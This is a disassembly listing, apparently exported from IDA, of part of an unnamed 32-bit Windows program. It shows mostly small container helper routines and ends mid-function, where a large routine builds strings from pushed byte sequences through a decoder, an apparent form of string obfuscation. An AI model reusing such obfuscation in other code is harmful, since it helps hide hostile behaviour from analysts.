arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_13AB9D7
		mov	edx, [esp+8]
		mov	ecx, [esp+8+arg_4]
		lea	eax, [esp+8]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_13AB8E2
		pop	esi
		retn	0Ch
sub_13B14B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B14F0	proc near		; CODE XREF: sub_13ABEF0j

var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_13ABEC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_13ABA22
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_13AC5BC
		push	eax
		lea	ecx, [esp+18h+var_C]
		call	sub_13ABC3E
		test	al, al
		jz	short loc_13B156B
		mov	edi, [esp+18h+var_4]


loc_13B1533:				; CODE XREF: sub_13B14F0+79j
		push	edi
		lea	ecx, [esp+1Ch+var_10]
		call	sub_13ABB3F
		mov	ecx, [eax]
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+1Ch+var_14]
		jz	short loc_13B1575
		call	sub_13AC30A
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_13AC5BC
		push	eax
		lea	ecx, [esp+24h+var_18]
		call	sub_13ABC3E
		test	al, al
		jnz	short loc_13B1533


loc_13B156B:				; CODE XREF: sub_13B14F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_13B1575:				; CODE XREF: sub_13B14F0+5Aj
		call	sub_13ABB3F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_13B14F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B15C0	proc near		; CODE XREF: sub_13AC5F8j
		xor	al, al
		retn	4
sub_13B15C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B15E0	proc near		; CODE XREF: sub_13AB964j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AB59F
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13B15E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1620	proc near		; CODE XREF: sub_13ABA22j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13ABE82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC585
		mov	eax, esi
		pop	esi
		retn	4
sub_13B1620	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1660	proc near		; CODE XREF: sub_13AC5BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC585
		mov	eax, esi
		pop	esi
		retn	4
sub_13B1660	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1690	proc near		; CODE XREF: sub_13AB8E2j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AC5BC
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB7B6
		pop	esi
		pop	ecx
		retn	4
sub_13B1690	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B16D0	proc near		; CODE XREF: sub_13ABEC3j
		push	esi
		mov	esi, ecx
		call	sub_13ABF63
		mov	eax, esi
		pop	esi
		retn
sub_13B16D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B16F0	proc near		; CODE XREF: sub_13ABB3Fj
		mov	eax, [ecx]
		push	eax
		call	sub_13AB608
		add	esp, 4
		retn
sub_13B16F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1710	proc near		; CODE XREF: sub_13AC30Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13ABE82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13B1710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1740	proc near		; CODE XREF: sub_13ABC3Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC3A0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13B1740	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1770	proc near		; CODE XREF: sub_13AB7B6j

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13AC08A
		mov	edi, eax
		push	edi
		call	sub_13AC058
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AB59F
		push	edi
		mov	ebx, eax
		call	sub_13AC058
		push	edi
		mov	[eax], ebx
		call	sub_13AC058
		mov	edi, [eax]
		push	edi
		call	sub_13AC058
		mov	ecx, [eax]
		push	ecx
		call	sub_13ABE82
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13AB608
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13ABA72
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC585
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13B1770	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1810	proc near		; CODE XREF: sub_13AB59Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0Ch
		call	sub_13ABDC9
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13B1825
		mov	edi, esi


loc_13B1825:				; CODE XREF: sub_13B1810+11j
		push	esi
		call	sub_13ABE82
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13B183A
		mov	edi, esi


loc_13B183A:				; CODE XREF: sub_13B1810+26j
		push	esi
		call	sub_13AC058
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13B1810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1860	proc near		; CODE XREF: sub_13ABE82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13B1860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1880	proc near		; CODE XREF: sub_13AB608j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13B1880	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B18A0	proc near		; CODE XREF: sub_13ABF63j
		mov	eax, ecx
		retn
sub_13B18A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B18C0	proc near		; CODE XREF: sub_13AC585j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB5E5
		mov	eax, esi
		pop	esi
		retn	4
sub_13B18C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B18F0	proc near		; CODE XREF: sub_13AC3A0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13B18F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1920	proc near		; CODE XREF: sub_13AC058j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13B1920	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1940	proc near		; CODE XREF: sub_13ABDC9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13B1940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1970	proc near		; CODE XREF: sub_13ABA72j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AB49B
		add	esp, 8
		retn	8
sub_13B1970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B19A0	proc near		; CODE XREF: sub_13AB5E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13B19A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B19C0	proc near		; CODE XREF: sub_13AC08Aj
		mov	eax, [ecx]
		retn
sub_13B19C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B19E0	proc near		; CODE XREF: sub_13AC116j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_13B19EA
		xor	eax, eax


loc_13B19EA:				; CODE XREF: sub_13B19E0+6j
		push	eax
		call	near ptr 13E0C1Ah
		add	esp, 4
		retn
sub_13B19E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1A10	proc near		; CODE XREF: sub_13AB49Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13B1A2B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13B1A2B:				; CODE XREF: sub_13B1A10+11j
		retn
sub_13B1A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1A40	proc near		; CODE XREF: sub_13AB5CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_13B1A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1A60	proc near		; CODE XREF: sub_13ABF2Cj

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	438638h
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_13ABBE4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D26
		call	sub_13ABF5E
		lea	ecx, [esp+28h+var_14]
		mov	[esp+28h+var_20], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+28h+var_28]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
sub_13B1A60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1AF0	proc near		; CODE XREF: sub_13AC0C1j

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	438660h
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_13ABBE4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D26
		call	sub_13ABF5E
		lea	ecx, [esp+28h+var_14]
		mov	byte ptr [esp+28h+var_20], 0
		call	sub_13AB626
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_20], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+28h+var_28]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
sub_13B1AF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1B90	proc near		; CODE XREF: sub_13AB61Cj

var_AAC		= byte ptr -0AACh
var_A94		= byte ptr -0A94h
var_A70		= byte ptr -0A70h
var_A5C		= dword	ptr -0A5Ch
var_A58		= byte ptr -0A58h
var_A40		= byte ptr -0A40h
var_A28		= byte ptr -0A28h
var_A10		= dword	ptr -0A10h
var_9F8		= byte ptr -9F8h
var_9E8		= dword	ptr -9E8h
var_9E0		= byte ptr -9E0h
var_9C8		= dword	ptr -9C8h
var_9B0		= byte ptr -9B0h
var_9AC		= byte ptr -9ACh
var_9A8		= dword	ptr -9A8h
var_998		= byte ptr -998h
var_988		= dword	ptr -988h
var_980		= byte ptr -980h
var_968		= dword	ptr -968h
var_950		= byte ptr -950h
var_948		= dword	ptr -948h
var_938		= byte ptr -938h
var_928		= dword	ptr -928h
var_920		= byte ptr -920h
var_908		= dword	ptr -908h
var_8F0		= byte ptr -8F0h
var_8E8		= dword	ptr -8E8h
var_8D8		= byte ptr -8D8h
var_8C8		= dword	ptr -8C8h
var_8C0		= byte ptr -8C0h
var_8BC		= byte ptr -8BCh
var_8A8		= dword	ptr -8A8h
var_898		= byte ptr -898h
var_890		= byte ptr -890h
var_888		= dword	ptr -888h
var_878		= byte ptr -878h
var_870		= byte ptr -870h
var_86C		= byte ptr -86Ch
var_868		= dword	ptr -868h
var_860		= byte ptr -860h
var_848		= dword	ptr -848h
var_834		= byte ptr -834h
var_830		= byte ptr -830h
var_828		= dword	ptr -828h
var_824		= byte ptr -824h
var_818		= byte ptr -818h
var_810		= byte ptr -810h
var_808		= dword	ptr -808h
var_800		= byte ptr -800h
var_7E8		= dword	ptr -7E8h
var_7E4		= byte ptr -7E4h
var_7D0		= byte ptr -7D0h
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7B8		= byte ptr -7B8h
var_7A8		= dword	ptr -7A8h
var_7A0		= byte ptr -7A0h
var_794		= byte ptr -794h
var_790		= byte ptr -790h
var_788		= dword	ptr -788h
var_780		= dword	ptr -780h
var_768		= dword	ptr -768h
var_748		= dword	ptr -748h
var_744		= byte ptr -744h
var_728		= dword	ptr -728h
var_720		= byte ptr -720h
var_71C		= byte ptr -71Ch
var_718		= byte ptr -718h
var_714		= byte ptr -714h
var_708		= dword	ptr -708h
var_700		= dword	ptr -700h
var_6FC		= byte ptr -6FCh
var_6F4		= byte ptr -6F4h
var_6E8		= byte ptr -6E8h
var_6C8		= dword	ptr -6C8h
var_6C4		= byte ptr -6C4h
var_6C0		= byte ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6AC		= byte ptr -6ACh
var_69C		= byte ptr -69Ch
var_690		= byte ptr -690h
var_68C		= dword	ptr -68Ch
var_688		= byte ptr -688h
var_684		= byte ptr -684h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_614		= dword	ptr -614h
var_610		= byte ptr -610h
var_60C		= byte ptr -60Ch
var_5F4		= byte ptr -5F4h
var_5D8		= dword	ptr -5D8h
var_5D4		= byte ptr -5D4h
var_5D0		= byte ptr -5D0h
var_59C		= dword	ptr -59Ch
var_598		= byte ptr -598h
var_594		= byte ptr -594h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_558		= dword	ptr -558h
var_554		= byte ptr -554h
var_528		= byte ptr -528h
var_520		= dword	ptr -520h
var_51C		= byte ptr -51Ch
var_518		= byte ptr -518h
var_4E8		= byte ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= byte ptr -4E0h
var_4DC		= byte ptr -4DCh
var_4D4		= byte ptr -4D4h
var_4B4		= byte ptr -4B4h
var_4A8		= dword	ptr -4A8h
var_4A4		= byte ptr -4A4h
var_4A0		= byte ptr -4A0h
var_498		= byte ptr -498h
var_48C		= byte ptr -48Ch
var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_464		= byte ptr -464h
var_44C		= byte ptr -44Ch
var_440		= byte ptr -440h
var_430		= dword	ptr -430h
var_42C		= byte ptr -42Ch
var_428		= byte ptr -428h
var_3F4		= dword	ptr -3F4h
var_3F0		= byte ptr -3F0h
var_3EC		= byte ptr -3ECh
var_3BC		= dword	ptr -3BCh
var_3B8		= byte ptr -3B8h
var_3B4		= dword	ptr -3B4h
var_3B0		= byte ptr -3B0h
var_3AC		= byte ptr -3ACh
var_3A8		= byte ptr -3A8h
var_3A4		= byte ptr -3A4h
var_3A0		= byte ptr -3A0h
var_39C		= byte ptr -39Ch
var_398		= byte ptr -398h
var_394		= byte ptr -394h
var_390		= byte ptr -390h
var_384		= byte ptr -384h
var_380		= byte ptr -380h
var_37C		= byte ptr -37Ch
var_348		= byte ptr -348h
var_344		= byte ptr -344h
var_340		= byte ptr -340h
var_330		= byte ptr -330h
var_32C		= byte ptr -32Ch
var_320		= byte ptr -320h
var_318		= byte ptr -318h
var_30C		= byte ptr -30Ch
var_308		= byte ptr -308h
var_304		= byte ptr -304h
var_2F4		= byte ptr -2F4h
var_2E4		= byte ptr -2E4h
var_2DC		= byte ptr -2DCh
var_2D0		= byte ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C8		= byte ptr -2C8h
var_2C4		= byte ptr -2C4h
var_2B4		= byte ptr -2B4h
var_2AC		= byte ptr -2ACh
var_2A4		= byte ptr -2A4h
var_298		= byte ptr -298h
var_294		= byte ptr -294h
var_290		= byte ptr -290h
var_28C		= byte ptr -28Ch
var_284		= byte ptr -284h
var_27C		= byte ptr -27Ch
var_268		= byte ptr -268h
var_264		= byte ptr -264h
var_258		= byte ptr -258h
var_254		= byte ptr -254h
var_250		= byte ptr -250h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_218		= byte ptr -218h
var_214		= byte ptr -214h
var_210		= byte ptr -210h
var_204		= byte ptr -204h
var_200		= byte ptr -200h
var_1EC		= byte ptr -1ECh
var_1E0		= byte ptr -1E0h
var_1DC		= byte ptr -1DCh
var_1D8		= byte ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1C8		= byte ptr -1C8h
var_1BC		= byte ptr -1BCh
var_1A8		= byte ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= byte ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= byte ptr -198h
var_190		= byte ptr -190h
var_18C		= byte ptr -18Ch
var_184		= byte ptr -184h
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_160		= byte ptr -160h
var_15C		= byte ptr -15Ch
var_14C		= byte ptr -14Ch
var_144		= byte ptr -144h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_120		= byte ptr -120h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_104		= byte ptr -104h
var_F8		= byte ptr -0F8h
var_EC		= byte ptr -0ECh
var_E8		= byte ptr -0E8h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_B0		= byte ptr -0B0h
var_AC		= byte ptr -0ACh
var_A8		= byte ptr -0A8h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_74		= byte ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43897Ch
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_1A4]
		mov	[esp+35Ch+var_4], 0
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_2DC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_13AB824
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_1BC]
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_13AB824
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_13AB824
		mov	bl, 1Eh
		push	offset dword_4438BC
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_13ABE87
		push	offset dword_4438B4
		lea	ecx, [esp+364h+var_1A8]
		call	sub_13ABE87
		push	offset dword_4438AC
		lea	ecx, [esp+368h+var_2B4]
		call	sub_13ABE87
		push	offset dword_443894
		lea	ecx, [esp+36Ch+var_1E0]
		call	sub_13ABE87
		push	offset dword_4438B4
		lea	ecx, [esp+370h+var_214]
		call	sub_13ABE87
		push	offset dword_4438AC
		lea	ecx, [esp+374h+var_200]
		call	sub_13ABE87
		push	offset dword_44388C
		lea	ecx, [esp+378h+var_2F4]
		call	sub_13ABE87
		push	offset dword_443888
		lea	ecx, [esp+37Ch+var_298]
		call	sub_13ABE87
		push	offset dword_443880
		lea	ecx, [esp+380h+var_2E4]
		call	sub_13ABE87
		push	offset dword_44386C
		lea	ecx, [esp+384h+var_258]
		call	sub_13ABE87
		push	offset dword_443864
		lea	ecx, [esp+388h+var_28C]
		call	sub_13ABE87
		push	offset dword_44385C
		lea	ecx, [esp+38Ch+var_320]
		call	sub_13ABE87
		push	offset dword_443850
		lea	ecx, [esp+390h+var_2C4]
		call	sub_13ABE87
		push	offset dword_443828
		lea	ecx, [esp+394h+var_190]
		call	sub_13ABE87
		push	offset dword_44381C
		lea	ecx, [esp+398h+var_14C]
		call	sub_13ABE87
		push	offset dword_443808
		lea	ecx, [esp+39Ch+var_1C8]
		call	sub_13ABE87
		push	offset dword_4437FC
		lea	ecx, [esp+3A0h+var_184]
		call	sub_13ABE87
		push	offset dword_4437F8
		lea	ecx, [esp+3A4h+var_110]
		call	sub_13ABE87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+3CCh+var_390]
		push	46h
		push	eax
		call	sub_13ABDB5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+3A8h+var_204]
		mov	[esp+3A8h+var_4C], 1Fh
		call	sub_13AC40E
		lea	ecx, [esp+3A8h+var_394]
		mov	[esp+3A8h+var_50], bl
		call	sub_13AB626
		push	0
		push	13h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	5
		push	14h
		push	0Fh
		lea	ecx, [esp+3F0h+var_394]
		push	8
		push	ecx
		call	sub_13ABDB5
		add	esp, 50h
		push	eax
		lea	ecx, [esp+3ACh+var_268]
		mov	[esp+3ACh+var_50], 20h
		call	sub_13AC40E
		lea	ecx, [esp+3ACh+var_398]
		mov	[esp+3ACh+var_54], bl
		call	sub_13AB626
		push	0
		push	4Dh
		push	4Dh
		push	4Dh
		push	4Dh
		lea	edx, [esp+3C0h+var_398]
		push	edx
		call	sub_13ABDB5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+3B0h+var_104]
		mov	[esp+3B0h+var_54], 21h
		call	sub_13AC40E
		lea	ecx, [esp+3B0h+var_39C]
		mov	[esp+3B0h+var_58], bl
